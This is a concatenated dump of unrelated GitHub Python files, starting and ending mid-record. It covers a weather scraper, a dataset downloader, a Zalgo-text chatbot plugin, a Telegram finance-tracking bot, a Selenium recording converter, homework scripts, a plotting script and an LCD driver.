range(len(dat['result'])):\r\n urlc = dat['result'][n]['url']\r\n if \"pogoda.45.ru\" in urlc:\r\n print(\"Страница этого города недоступна\")\r\n elif \"pogoda.75.ru\" in urlc:\r\n print(\"Страница этого города недоступна\")\r\n else:\r\n if \"https:\" in urlc:\r\n urlc = urlc[6:]\r\n urlc = \"https:\" + urlc\r\n r = requests.get(urlc)\r\n city = re.findall(r'vs-dropdown__switcher vs-dropdown_in-city\" href=\"#\" title=\"(\\w{0,40}\\-{0,3}\\s{0,3}\\w{0,10}\\-{0,3}\\s{0,3}\\w{0,40})\"', r.text)\r\n temp = re.findall(r'(\\+{0,1}\\&{0,2}\\w{0,10}\\;{0,2}\\w{0,5})<', r.text)\r\n tempeed = temp[0]\r\n if 'minus' in temp[0]:\r\n tempeed = \"-\" + temp[0][7:]\r\n info = \"В городе: \" + city[0] + \". Температура: \" + tempeed\r\n print(info)\r\n except:\r\n print(\"\")","repo_name":"NzKoff/nzkoff","sub_path":"SERVICE/parsing2.py","file_name":"parsing2.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2088949659","text":"''' Code to donwload and unzip the data'''\n\nimport requests\nfrom zipfile import ZipFile\nimport pandas as pd\n\nDATA_PATH = '/data/'\n\n\ndef get_data(file_url: str):\n zipfile_name = file_url.split('/')[-1]\n zipfile_folder = zipfile_name.split('.')[0]\n\n r = requests.get(file_url, stream=True)\n with open(zipfile_name, \"wb\") as zipfile:\n for chunk in r.iter_content(chunk_size=1024):\n if chunk:\n zipfile.write(chunk)\n zipfile.close()\n\n with ZipFile(zipfile_name, 'r') as zObject:\n zObject.extractall(\n path=DATA_PATH)\n\n ratings = pd.read_csv(DATA_PATH + zipfile_folder + \"/ratings.csv\")\n movies = pd.read_csv(DATA_PATH + zipfile_folder + \"/movies.csv\")\n return ratings, movies\n\n\ndef main():\n # file_url = \"https://files.grouplens.org/datasets/movielens/ml-latest.zip\"\n file_url = \"https://files.grouplens.org/datasets/movielens/ml-latest-small.zip\"\n ratings, movies = get_data(file_url)\n","repo_name":"markbroich/data_science","sub_path":"data_sci_challenges_example_solutions/movie_lens_xgboost/code/preprocess/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18909933917","text":"# -*- coding: utf-8 -*-\n\nfrom typing import List, Tuple\nfrom chatbot.bot import BotPlugin\nfrom chatbot import util, api\nimport random\n\n\nclass Plugin(BotPlugin):\n def __init__(self, bot):\n super().__init__(bot)\n self.register_command(\"zalgo\", self._zalgo)\n\n @staticmethod\n async def _zalgo(msg: api.ChatMessage, argv):\n \"\"\"Syntax: zalgo [strength] [zalgosets]\n\n Create a Zalgo text.\n If supported by the chat protocol it will replace the user's message.\n\n must be between 0 and 15. Deafult is 5.\n [zalgosets] can be used to limit the direction of the zalgo.\n To do this, simply add the respective numbers together.\n up: 1\n middle: 2\n down: 4\n For example, if you want a zalgo in the middle and go up:\n zalgo \"foobar\" 5 3\n \"\"\"\n strength = 5 if len(argv) == 2 else min(15, int(argv[2]))\n flags = int(argv[3]) if len(argv) > 3 else 7\n sets: List[Tuple] = []\n\n if flags & 1:\n sets.append(ZALGO_UP)\n if flags & 2:\n sets.append(ZALGO_MID)\n if flags & 4:\n sets.append(ZALGO_DOWN)\n\n out = create_zalgo(argv[1], strength, sets)\n await util.edit_or_reply(msg, out)\n\n\n# Zalgo stuff\nZALGO_UP = (\n '\\u030d', '\\u030e', '\\u0304', '\\u0305',\n '\\u033f', '\\u0311', '\\u0306', '\\u0310',\n '\\u0352', '\\u0357', '\\u0351', '\\u0307',\n '\\u0308', '\\u030a', '\\u0342', '\\u0343',\n '\\u0344', '\\u034a', '\\u034b', '\\u034c',\n '\\u0303', '\\u0302', '\\u030c', '\\u0350',\n '\\u0300', '\\u0301', '\\u030b', '\\u030f',\n '\\u0312', '\\u0313', '\\u0314', '\\u033d',\n '\\u0309', '\\u0363', '\\u0364', '\\u0365',\n '\\u0366', '\\u0367', '\\u0368', '\\u0369',\n '\\u036a', '\\u036b', '\\u036c', '\\u036d',\n '\\u036e', '\\u036f', '\\u033e', '\\u035b',\n '\\u0346', '\\u031a'\n)\n\nZALGO_DOWN = (\n '\\u0316', '\\u0317', '\\u0318', '\\u0319',\n '\\u031c', '\\u031d', '\\u031e', '\\u031f',\n '\\u0320', '\\u0324', '\\u0325', '\\u0326',\n '\\u0329', '\\u032a', '\\u032b', '\\u032c',\n '\\u032d', '\\u032e', '\\u032f', '\\u0330',\n '\\u0331', '\\u0332', '\\u0333', '\\u0339',\n '\\u033a', '\\u033b', '\\u033c', '\\u0345',\n '\\u0347', '\\u0348', '\\u0349', '\\u034d',\n '\\u034e', '\\u0353', '\\u0354', '\\u0355',\n '\\u0356', '\\u0359', '\\u035a', '\\u0323'\n)\n\nZALGO_MID = (\n '\\u0315', '\\u031b', '\\u0340', '\\u0341',\n '\\u0358', '\\u0321', '\\u0322', '\\u0327',\n '\\u0328', '\\u0334', '\\u0335', '\\u0336',\n '\\u034f', '\\u035c', '\\u035d', '\\u035e',\n '\\u035f', '\\u0360', '\\u0362', '\\u0338',\n '\\u0337', '\\u0361', '\\u0489'\n)\n\n\ndef _zalgo_get_random_seq(size, zalgoset):\n for _ in range(size):\n yield zalgoset[random.randint(0, len(zalgoset) - 1)]\n\n\ndef create_zalgo(text, strength, sets=(ZALGO_UP, ZALGO_MID, ZALGO_DOWN)):\n # Create for each character in a random sequence of zalgo chars using the given zalgo sets\n zchars = [\"\".join([c for z in sets for c in _zalgo_get_random_seq(strength, z)]) for _ in range(len(text))]\n\n # zip() through text and zchars and join() them together to get the zalgo text\n return \"\".join([j for i in zip(text, zchars) for j in i])\n","repo_name":"mphe/pychatbot","sub_path":"chatbot/bot/plugins/zalgo.py","file_name":"zalgo.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"40118214101","text":"from re import match\nfrom datetime import date as dt\nfrom aiogram import Bot, Dispatcher, executor, types\nfrom aiogram.contrib.fsm_storage.memory import MemoryStorage\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.dispatcher.filters.state import State, StatesGroup\n\nfrom db_work import DBWork\nfrom ceker import money_chek, date_check\n\n\nclass FSMTransaction(StatesGroup):\n id = State()\n sum = State()\n category = State()\n date = State()\n description = State()\n adding = State()\n\n\nclass FSMEditing(StatesGroup):\n data = State()\n field = State()\n editing = State()\n\n\nclass Communication:\n\n def __init__(self, token):\n storage = MemoryStorage()\n self.bot = Bot(token=token)\n self.dp = Dispatcher(self.bot, storage=storage)\n\n @staticmethod\n def transform_date(date):\n date = date.split('.')\n return f'{date[2]}-{date[1]}-{date[0]}'\n\n @staticmethod\n def create_rkm(*args):\n if not all(isinstance(x, str) for x in args):\n raise TypeError\n markup = types.reply_keyboard.ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True)\n for i in args:\n markup.insert(types.KeyboardButton(i))\n return markup\n\n @staticmethod\n def create_ikm(*args):\n if not all(isinstance(x, str) for x in args):\n raise TypeError\n markup = types.InlineKeyboardMarkup(resize_keyboard=True)\n for i in args:\n a = i.split(' ')\n markup.insert(types.InlineKeyboardButton(a[0], callback_data=a[1]))\n return markup\n\n def main(self):\n self.dp.register_message_handler(self.start_help, commands=['start', 'help'])\n self.dp.register_message_handler(self.transaction_help, commands=['transaction_help'])\n self.dp.register_message_handler(self.statistics_help, commands=['statistics_help'])\n self.dp.register_message_handler(self.edit_help, commands=['edit_help'])\n self.dp.register_message_handler(self.add, commands=['add_transaction'], state=None)\n self.dp.register_message_handler(self.statistics, commands=['statistics'])\n self.dp.register_callback_query_handler(self.delete, lambda call: match(r'delete_', call.data))\n self.dp.register_callback_query_handler(self.edit, lambda call: match(r'edit_', call.data))\n self.dp.register_callback_query_handler(self.select_field, lambda call: match(r'field_', call.data))\n self.dp.register_message_handler(self.cancel, state=\"*\", commands=['cancel'])\n self.dp.register_message_handler(self.field_enter, content_types=['text'], state=FSMEditing.field)\n self.dp.register_message_handler(self.editing, state=FSMEditing.editing, commands=['edit'])\n self.dp.register_message_handler(self.sum, content_types=['text'], state=FSMTransaction.sum)\n self.dp.register_message_handler(self.category, content_types=['text'], state=FSMTransaction.category)\n self.dp.register_message_handler(self.date, content_types=['text'], state=FSMTransaction.date)\n self.dp.register_message_handler(self.description, content_types=['text'], state=FSMTransaction.description)\n self.dp.register_message_handler(self.adding, state=FSMTransaction.adding, commands=['ok'])\n self.dp.register_message_handler(self.editing, state=\"*\", commands=['edit'])\n self.dp.register_message_handler(self.order_by_date, commands=['order_by_date'])\n self.dp.register_message_handler(self.order_by_category, commands=['order_by_category'])\n\n executor.start_polling(self.dp, skip_updates=True)\n\n async def start_help(self, message: types.Message):\n await message.answer('Hey\\n'\n 'I\\'m WalletBot\\n'\n 'I\\'m going to help you with your finances\\n\\n'\n 'Click /add_transaction to add a transaction\\n'\n 'Click /statistics to view statistics\\n\\n'\n 'If you need help with transactions click /transaction_help\\n'\n 'If you need help with statistics click /statistics_help',\n\n reply_markup=self.create_rkm('/add_transaction', '/statistics',\n '/transaction_help', '/statistics_help'))\n\n async def transaction_help(self, message: types.Message):\n await message.answer('To add a new transaction click /add_transaction\\n'\n 'Follow the instructions on the screen\\n\\n'\n 'To enter the amount of income use +0 or 0\\n'\n 'To enter the expense amount use -0\\n'\n '(Instead of 0, you can use any format for entering the sum (12, 12.2, 12.34, 12.34))\\n\\n'\n 'To select a category, you can choose one of the existing ones or create a new one\\n\\n'\n 'To enter a date use the format dd.mm.yyyy\\n'\n 'Or select the option today for today\\'s date\\n\\n'\n 'For description, just enter any text\\n\\n'\n 'In the end enter /ok\\n'\n 'To cancel click /cancel\\n\\n'\n 'Іf you need help click /help',\n\n reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help'))\n\n async def statistics_help(self, message: types.Message):\n await message.answer('To view statistics click /add_transaction\\n'\n 'To view transactions sorted by date, click /order_by_date\\n'\n 'To view transactions sorted by category, click /order_by_category\\n\\n'\n 'To delete a transaction, click the delete button\\n'\n 'Under the message with the desired transaction\\n\\n'\n 'To edit information about a transaction, click the edit button\\n'\n 'Under the message with the required transaction\\n\\n'\n 'If you need help with edit click /edit_help\\n'\n 'Іf you need help click /help',\n\n reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help', '/edit_help'))\n\n async def edit_help(self, message: types.Message):\n await message.answer('To change information about a transaction, click the edit button\\n'\n 'Under the message with the required transaction\\n\\n'\n 'To select the field by which the change will occur, click the edit button\\n'\n 'Under the message with the required field\\n\\n'\n 'Enter the information you want to replace and click /edit\\n'\n 'To cancel click /cancel\\n\\n'\n 'Іf you need help click /help',\n\n reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help'))\n\n async def add(self, message: types.Message):\n await FSMTransaction.sum.set()\n await message.answer('Enter sum of money(+ for Income , - for Expenses)',\n reply_markup=self.create_rkm('/cancel'))\n\n async def sum(self, message: types.Message, state):\n db = DBWork(f'{message.from_user.id}')\n items = list(map(lambda x: list(x)[0], db.select_distinct('category')))\n markup = self.create_rkm('/cancel')\n for i in items:\n markup.add(types.KeyboardButton(i))\n try:\n money_chek(message.text)\n async with state.proxy() as data:\n data['sum'] = message.text\n await message.answer('Enter category', reply_markup=markup)\n await FSMTransaction.next()\n except TypeError as er:\n await message.answer(f'Wrong entering\\n{er}', reply_markup=markup)\n\n async def category(self, message: types.Message, state):\n markup = self.create_rkm('/cancel')\n try:\n markup.add(types.KeyboardButton('today'))\n async with state.proxy() as data:\n data['category'] = message.text\n await message.answer('Enter date', reply_markup=markup)\n await FSMTransaction.next()\n except TypeError as er:\n await message.answer(f'Wrong entering\\n{er}', reply_markup=markup)\n\n async def date(self, message: types.Message, state):\n markup = self.create_rkm('/cancel')\n try:\n if message.text == 'today':\n now = dt.today()\n message.text = f'{now.day}.{now.month}.{now.year}'\n else:\n date_check(message.text)\n\n async with state.proxy() as data:\n data['date'] = message.text\n await message.answer('Enter description', reply_markup=markup)\n await FSMTransaction.next()\n except TypeError as er:\n markup.add(types.KeyboardButton('today'))\n await message.answer(f'Wrong entering\\n{er}', reply_markup=markup)\n except ValueError as er:\n markup.add(types.KeyboardButton('today'))\n await message.answer(f'Wrong entering\\n{er}', reply_markup=markup)\n\n async def description(self, message: types.Message, state):\n\n try:\n async with state.proxy() as data:\n data['description'] = message.text\n async with state.proxy() as data:\n await message.answer(f'{data[\"sum\"]}\\n{data[\"category\"]}\\n{data[\"date\"]}\\n{data[\"description\"]}',\n reply_markup=self.create_rkm('/cancel', '/ok'))\n await FSMTransaction.next()\n except TypeError as er:\n await message.answer(f'Wrong entering\\n{er}', reply_markup=self.create_rkm('/cancel'))\n\n async def adding(self, message: types.Message, state):\n async with state.proxy() as data:\n db = DBWork(f'{message.from_user.id}')\n\n db.insert(data[\"sum\"], data[\"category\"], self.transform_date(data[\"date\"]), data[\"description\"])\n res = db.select_where_max('transact_id', 'transact_id')[0]\n text = f'{\"income\" if res[1] > 0 else \"expense\"}\\n{abs(res[1])}\\ncategory: {res[2]}\\n{res[3]}\\n{res[4]}'\n await message.answer(f'{text}\\nAdded',\n reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help'))\n await state.finish()\n\n async def cancel(self, message: types.Message, state: FSMContext):\n current_state = await state.get_state()\n if current_state is None:\n await message.answer('Ok', reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help'))\n return\n await state.finish()\n await message.answer('Ok', reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help'))\n\n async def delete(self, call: types.CallbackQuery):\n call_data = call.data.split(\"_\")\n db = DBWork(call_data[2])\n db.delete(call_data[1])\n await call.message.answer('Ready', reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help'))\n await call.answer()\n\n async def edit(self, call: types.CallbackQuery):\n call_data = call.data.split(\"_\")\n db = DBWork(f'{call_data[2]}')\n transaction = db.select_where('transact_id', f'{call_data[1]}')[0]\n await call.message.answer(f'{\"income\" if transaction[1] > 0 else \"expense\"}\\n{abs(transaction[1])}',\n reply_markup=self.create_ikm(\n f'edit field_sum_{call_data[2]}_{transaction[0]}_{call_data[2]}'))\n await call.message.answer(f'category: {transaction[2]}',\n reply_markup=self.create_ikm(\n f'edit field_category_{call_data[2]}_{transaction[0]}_{call_data[2]}'))\n await call.message.answer(f'{transaction[3]}',\n reply_markup=self.create_ikm(\n f'edit field_date_{call_data[2]}_{transaction[0]}_{call_data[2]}'))\n await call.message.answer(f'{transaction[4]}',\n reply_markup=self.create_ikm(\n f'edit field_description_{call_data[2]}_{transaction[0]}_{call_data[2]}'))\n await call.message.answer('That\\'s all',\n reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help'))\n await call.answer()\n\n async def select_field(self, call: types.CallbackQuery, state):\n call_data = call.data.split('_')\n await FSMEditing.first()\n\n markup = self.create_rkm('/cancel')\n\n async with state.proxy() as data:\n data['field'] = call_data[1]\n data['transaction_id'] = call_data[3]\n await FSMEditing.next()\n if call_data[1] == 'category':\n db = DBWork(f'{call_data[4]}')\n items = list(map(lambda x: list(x)[0], db.select_distinct('category')))\n for i in items:\n markup.add(types.KeyboardButton(i))\n elif call_data[1] == 'date':\n markup.add(types.KeyboardButton('today'))\n\n if call_data[1] == 'sum':\n await call.message.answer('Enter sum of money(+ for Income , - for Expenses)', reply_markup=markup)\n else:\n await call.message.answer(f'Enter {call_data[1]}', reply_markup=markup)\n await call.answer()\n\n async def field_enter(self, message: types.Message, state):\n markup = self.create_rkm('/cancel')\n try:\n async with state.proxy() as data:\n if data['field'] == 'sum':\n money_chek(message.text)\n elif data['field'] == 'date':\n if message.text == 'today':\n now = dt.today()\n message.text = f'{now.day}.{now.month}.{now.year}'\n else:\n date_check(message.text)\n message.text = self.transform_date(message.text)\n data['value'] = message.text\n await message.answer(f'{data[\"field\"]}: {data[\"value\"]}',\n reply_markup=self.create_rkm('/cancel', '/edit'))\n await FSMTransaction.next()\n except TypeError as er:\n await message.answer(f'Wrong entering\\n{er}', reply_markup=markup)\n except ValueError as er:\n await message.answer(f'Wrong entering\\n{er}', reply_markup=markup)\n\n async def editing(self, message: types.Message, state):\n db = DBWork(f'{message.from_user.id}')\n async with state.proxy() as data:\n db.update(data['field'], f\"\\'{data['value']}\\'\", data['transaction_id'])\n transaction = db.select_where('transact_id', data['transaction_id'])[0]\n await state.finish()\n text = f'{\"income\" if transaction[1] > 0 else \"expense\"}\\n{abs(transaction[1])}\\ncategory: ' \\\n f'{transaction[2]}\\n{transaction[3]}\\n{transaction[4]}\\nEdited'\n await message.answer(text, reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help'))\n\n async def statistics(self, message: types.Message):\n markup = self.create_rkm('/add_transaction', '/statistics', '/help')\n markup.add(types.KeyboardButton('/order_by_date'))\n markup.insert(types.KeyboardButton('/order_by_category'))\n await message.answer('Select option', reply_markup=markup)\n\n async def order_by_date(self, message: types.Message):\n db = DBWork(f'{message.from_user.id}')\n for i in db.select_order_by('date'):\n text = f'{\"income\" if i[1] > 0 else \"expense\"}\\n{abs(i[1])}\\ncategory: {i[2]}\\n{i[3]}\\n{i[4]}'\n await message.answer(text, reply_markup=self.create_ikm(f'edit edit_{i[0]}_{message.from_user.id}',\n f'delete delete_{i[0]}_{message.from_user.id}'))\n await message.answer('That\\'s all', reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help'))\n\n async def order_by_category(self, message: types.Message):\n db = DBWork(f'{message.from_user.id}')\n for i in db.select_order_by('category'):\n text = f'{\"income\" if i[1] > 0 else \"expense\"}\\n{abs(i[1])}\\ncategory: {i[2]}\\n{i[3]}\\n{i[4]}'\n await message.answer(text, reply_markup=self.create_ikm(f'edit edit_{i[0]}_{message.from_user.id}',\n f'delete delete_{i[0]}_{message.from_user.id}'))\n\n await message.answer('That\\'s all', reply_markup=self.create_rkm('/add_transaction', '/statistics', '/help'))\n","repo_name":"localhost128/WalletBot","sub_path":"communication.py","file_name":"communication.py","file_ext":"py","file_size_in_byte":16917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8879055734","text":"def solve(caps,n):\n ans = []\n def backtrack(mask, caps, n, i, curr):\n if i == n:\n ans.append(tuple(curr))\n return\n for cap in caps[i]:\n if mask & (1 << cap) == 0:\n curr.append(cap)\n backtrack(mask | (1 << cap), caps, n, i + 1, curr)\n curr.pop()\n backtrack(0, caps, n, 0, [])\n return ans\n\n\nif __name__ == \"__main__\":\n n = int(input())\n caps = []\n for i in range(n):\n caps.append(list(map(int, input().split())))\n ans = solve(caps, n)\n print(len(ans))\n for i in ans:\n print(i)","repo_name":"GuillermoTafoya/AlgoToolboxSolutions","sub_path":"Advanced Algos - ITESM/Implementación backtracking con Bitmask/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70145894162","text":"import json\nimport logging\n\nfrom core.task import Task\n\n\"\"\"\nload Selenium IDE recording from file, then convert to tasks: \n Current supported tasks: \n - GO_TO_PAGE\n - FIND_THEN_CLICK\n - FIND_THEN_KEYIN is from [type] and [sendKeys]\n - FIND_THEN_COLLECT\n\"\"\"\n\n\nclass SeleniumIDERecordingConverter(object):\n file_path: str\n test_name: str\n\n def __init__(self, file_path: str, test_name: str = ''):\n self.file_path = file_path\n self.test_name = test_name\n logging.info(f'SeleniumIDERecordingConverter will load tasks from recording: {self.test_name}, {self.file_path}')\n\n def set_test_name(self, test_name):\n self.test_name = test_name\n\n def get_test_names(self):\n with open(self.file_path, \"r\", encoding='utf-8') as read_file:\n data = json.load(read_file)\n return list(map(lambda x: x['name'], data['tests']))\n\n def is_initialized(self):\n return not self.file_path is None \\\n and not self.test_name is None\n\n def convert_from_selenium_ide_recording(self) -> list:\n tasks = []\n with open(self.file_path, \"r\", encoding='utf-8') as read_file:\n data = json.load(read_file)\n base_url = data['url']\n commends = self.find_commands_by_test_name(data, self.test_name)\n\n for command in commends:\n tasks.append(self.convert(command, base_url))\n\n return tasks\n\n def convert(self, command, baseUrl) -> Task:\n cmd = command['command']\n\n if cmd == 'open':\n return self.buildGO_TO_PAGETask(baseUrl, command['target'])\n\n if cmd == 'click':\n return self.buildFIND_THEN_CLICKTask(command)\n\n if cmd == 'type':\n return self.buildFIND_THEN_KEYINTask(command)\n\n if cmd == 'sendKeys':\n return self.buildFIND_THEN_KEYINTask(command, lambda v:v.replace('$',''))\n\n if cmd == 'doubleClick':\n return self.buildFIND_THEN_COLLECTTask(command)\n\n return Task('UNKNOWN_TASK', json.dumps({'msg': 'unsupported command: ' + str(command)}))\n\n def buildGO_TO_PAGETask(self, baseUrl, targetUrl):\n return Task('GO_TO_PAGE', json.dumps({\"url\": f\"{baseUrl}{targetUrl}\"}))\n\n def buildFIND_THEN_CLICKTask(self, command):\n by0id1 = self.find_proper_locator(command)\n if len(by0id1) == 0:\n return Task('UNKNOWN_TASK', json.dumps({'msg': 'can not find proper xpath: ' + str(command)}))\n\n return Task('FIND_THEN_CLICK', json.dumps({'clickby': by0id1[0], 'identity': by0id1[1]}))\n\n def buildFIND_THEN_KEYINTask(self, command, fn=lambda v:v):\n by0id1 = self.find_proper_locator(command)\n if len(by0id1) == 0:\n return Task('UNKNOWN_TASK', json.dumps({'msg': 'can not find proper xpath: ' + str(command)}))\n\n return Task('FIND_THEN_KEYIN',\n json.dumps({'keyinby': by0id1[0], 'identity': by0id1[1], 'value': fn(command['value'])}))\n\n def buildFIND_THEN_COLLECTTask(self, command):\n by0id1 = self.find_proper_locator(command)\n if len(by0id1) == 0:\n return Task('UNKNOWN_TASK', json.dumps({'msg': 'can not find proper xpath: ' + str(command)}))\n\n value_key = command['comment'] if len(command['comment']) > 0 else command['id']\n return Task('FIND_THEN_COLLECT', json.dumps({'collectby': by0id1[0], 'identity': by0id1[1],\n 'value_type': 'any', 'value_key': value_key}))\n\n def find_proper_locator(self, command) -> str:\n\n idlocator = self.find_first_by_prefix('id=', command)\n if not idlocator == None:\n return ['id', idlocator]\n\n csslocator = self.find_first_by_prefix('css=', command)\n if not csslocator == None:\n return ['css', csslocator]\n\n xpathlocator = self.find_first_by_prefix('xpath=', command)\n if not xpathlocator == None:\n return ['xpath', xpathlocator]\n\n def find_first_by_prefix(self, prefix, command) -> str:\n\n default_target = command['target']\n\n if default_target.startswith(prefix):\n return default_target.replace(prefix, '')\n\n elif len(command['targets']) > 0:\n for ts in command['targets']:\n t = ts[0]\n if t.startswith(prefix):\n return t.replace(prefix, '')\n\n return None\n\n def find_commands_by_test_name(self, data, testName):\n test = self.find_test_by_name(data, testName)\n commends = test['commands']\n return commends\n\n def find_test_by_name(self, data, testName):\n return next(filter(lambda t: t['name'] == testName, data['tests']), None)\n\n\nif __name__ == '__main__':\n c = SeleniumIDERecordingConverter('C:/Users/Admin/Downloads/LOCAL_TEST_Other.side', 'TEST111')\n tasks = c.convert_from_selenium_ide_recording()\n for t in tasks:\n print(str(t))\n","repo_name":"lorisunjunbin/petp","sub_path":"core/definition/SeleniumIDERecordingConverter.py","file_name":"SeleniumIDERecordingConverter.py","file_ext":"py","file_size_in_byte":4933,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"16826276131","text":"import os\nfrom pprint import pprint\n\n# Задание 1\n\ndef get_cook_book():\n with open('recipes.txt', encoding='utf-8') as file_object:\n cook_book = {}\n for line in file_object:\n dish_name = line.strip()\n ingredients_list = []\n ingredients_quantity = file_object.readline()\n for _ in range(int(ingredients_quantity)):\n ingredient_name, quantity, measure = file_object.readline().split(' | ')\n ingredients_list.append({'ingredient_name': ingredient_name, 'quantity': int(quantity), 'measure': measure.strip()})\n cook_book[dish_name] = ingredients_list\n file_object.readline()\n return cook_book\n\n# pprint(get_cook_book(), sort_dicts=False, width=100)\n\n# Задание 2\n\ndef get_shop_list_by_dishes(dishes, person_count):\n cook_book = get_cook_book()\n shop_dict = {}\n for dish in dishes:\n if dish in cook_book.keys():\n for recipe in cook_book[dish]:\n if recipe['ingredient_name'] in shop_dict:\n shop_dict[recipe['ingredient_name']]['quantity'] += recipe['quantity'] * person_count\n else:\n shop_dict[recipe['ingredient_name']] = {'measure': recipe['measure'], 'quantity': (recipe['quantity'] * person_count)}\n else:\n error = 'Ошибка: введённого Вами блюда нет в кулинарной книге'\n return error\n return shop_dict\n\n# pprint(get_shop_list_by_dishes(['Омлет', 'Утка по-пекински', 'Запеченный картофель'], 3), sort_dicts=False)\n# pprint(get_shop_list_by_dishes(['Омлет', 'Фахитос'], 2), sort_dicts=False) \n\n# Задание 3\n\ndef get_texts():\n TEXTS_DIR = 'texts'\n full_path_to_texts = os.path.join(os.getcwd(), TEXTS_DIR)\n texts_list = os.listdir(full_path_to_texts) \n all_texts = {}\n for file in texts_list:\n file_path = os.path.join(full_path_to_texts, file)\n with open(file_path, 'r', encoding = 'utf-8') as file_to_read:\n list_of_strings = []\n for line in file_to_read:\n list_of_strings.append(line.strip())\n text = '\\n'.join(list_of_strings)\n all_texts[len(list_of_strings)] = {'name': file, 'length': str(len(list_of_strings)), 'text': text}\n return all_texts\n\ndef write_down_sorted_texts():\n SORTED_FILE = 'sorted_texts.txt'\n sorted_full_path = os.path.join(os.getcwd(), SORTED_FILE)\n all_texts = get_texts()\n sorted_len = sorted(all_texts.keys())\n with open(sorted_full_path, 'w', encoding = 'utf-8') as file_to_write:\n for i in sorted_len:\n file_to_write.write(all_texts[i]['name'] + '\\n' + all_texts[i]['length'] + '\\n' + all_texts[i]['text'] + '\\n')\n return 'Sorted texts were written down.'\n\n# print(write_down_sorted_texts())","repo_name":"alina-vorontsova/files-netology-hw","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14738333031","text":"import pandas as pd\nimport plotly\nimport plotly.graph_objs as go\n\nplotly.io.orca.config.executable = '/home/lumi/Dropbox/unipi/paper_NVD_forcasting/pics_and_distribution_fitting/orca-1.2.1-x86_64.AppImage'\ndata_req = pd.read_csv(\n r'/home/lumi/Dropbox/unipi/paper_NVD_forcasting/pics_and_distribution_fitting/VDM_Regression_Analysis/Cumulative_vulnerability_scores_regression_modeling.csv',\n skiprows=1,\n names=['published_datetime_week', 'cumulative_scores', 'modeled_cumulative_scores'],\n sep=\",\")\n\ndata_req.cumulative_scores = data_req.cumulative_scores.astype(float)\ndata_req.modeled_cumulative_scores = data_req.modeled_cumulative_scores.astype(float)\nx = pd.to_datetime(data_req['published_datetime_week'], format=\"%m/%d/%Y\")\n# x = pd.Series([pd.to_datetime(date) for date in data_req.published_datetime_week]) # Alternative way\ny = data_req.cumulative_scores\nz = data_req.modeled_cumulative_scores\n\n# Create trace 0\ntrace0 = go.Scatter(\n x = x,\n y = y,\n mode='lines',\n name='Cumulative Scores'\n)\n\ny = data_req.modeled_cumulative_scores\n\n# Create trace 1\ntrace1 = go.Scatter(\n x = x,\n y = y,\n mode='lines',\n name='Modeled Cumulative Scores'\n)\n\ndata = [trace0, trace1]\n\n# Edit the layout\nlayout = dict(# title = 'Cumulative Vulnerability Scores Regression Modeling',\n xaxis = dict(title = 'Dates'),\n yaxis = dict(title = 'Cumulative Score'),\n # legend=dict(orientation=\"h\")\n margin=dict(l=0, r=0, t=0, b=0),\n font=dict(size=18),\n legend=dict(orientation=\"v\",x=.75, y=0)\n)\n\n# fig = dict(data=data, layout=layout)\nfig = go.Figure(data=data, layout=layout)\n# plotly.offline.plot(fig, filename='cvsrm.html')\n# plotly.offline.plot(fig, filename='cvsrm.html', image=\"svg\")\nfig.write_image(\"cvsrm.pdf\")","repo_name":"giannis20012001/plots","sub_path":"cvsrm.py","file_name":"cvsrm.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11280394596","text":"import os\nimport test_env as te\nimport SAC\n\n# Open tensor board\nos.popen('tensorboard --logdir=quadrupbot_env\\\\alg_test\\\\runs')\n\ntrainer = SAC.SAC_quad(\n envi = te,\n PATH = \"quadrupbot_env//alg_test//\",\n num_robot = 1,\n learning_rate = 1e-2,\n data_size = 1000,\n batch_size = 1000,\n epochs = 100,\n thresh = -10.,\n zeta = 0.5,\n log_data = True,\n save_model = True,\n render_mode = 'human',\n run = 0,\n temp = 1,\n)\ntrainer.train()","repo_name":"ThienAn233/quadrupbot_env","sub_path":"alg_test/test_SAC.py","file_name":"test_SAC.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36729311675","text":"\"\"\"Implements a HD44780 character LCD connected via ESP32 GPIO pins.\"\"\"\n\nfrom machine import Pin\nfrom time import sleep_ms, sleep_us\n\n\nclass LcdApi:\n \"\"\"Implements the API for talking with HD44780 compatible character LCDs.\n This class only knows what commands to send to the LCD, and not how to get\n them to the LCD.\n\n It is expected that a derived class will implement the hal_xxx functions.\n \"\"\"\n\n # The following constant names were lifted from the avrlib lcd.h\n # header file, however, I changed the definitions from bit numbers\n # to bit masks.\n #\n # HD44780 LCD controller command set\n\n LCD_CLR = 0x01 # DB0: clear display\n LCD_HOME = 0x02 # DB1: return to home position\n\n LCD_ENTRY_MODE = 0x04 # DB2: set entry mode\n LCD_ENTRY_INC = 0x02 # --DB1: increment\n LCD_ENTRY_SHIFT = 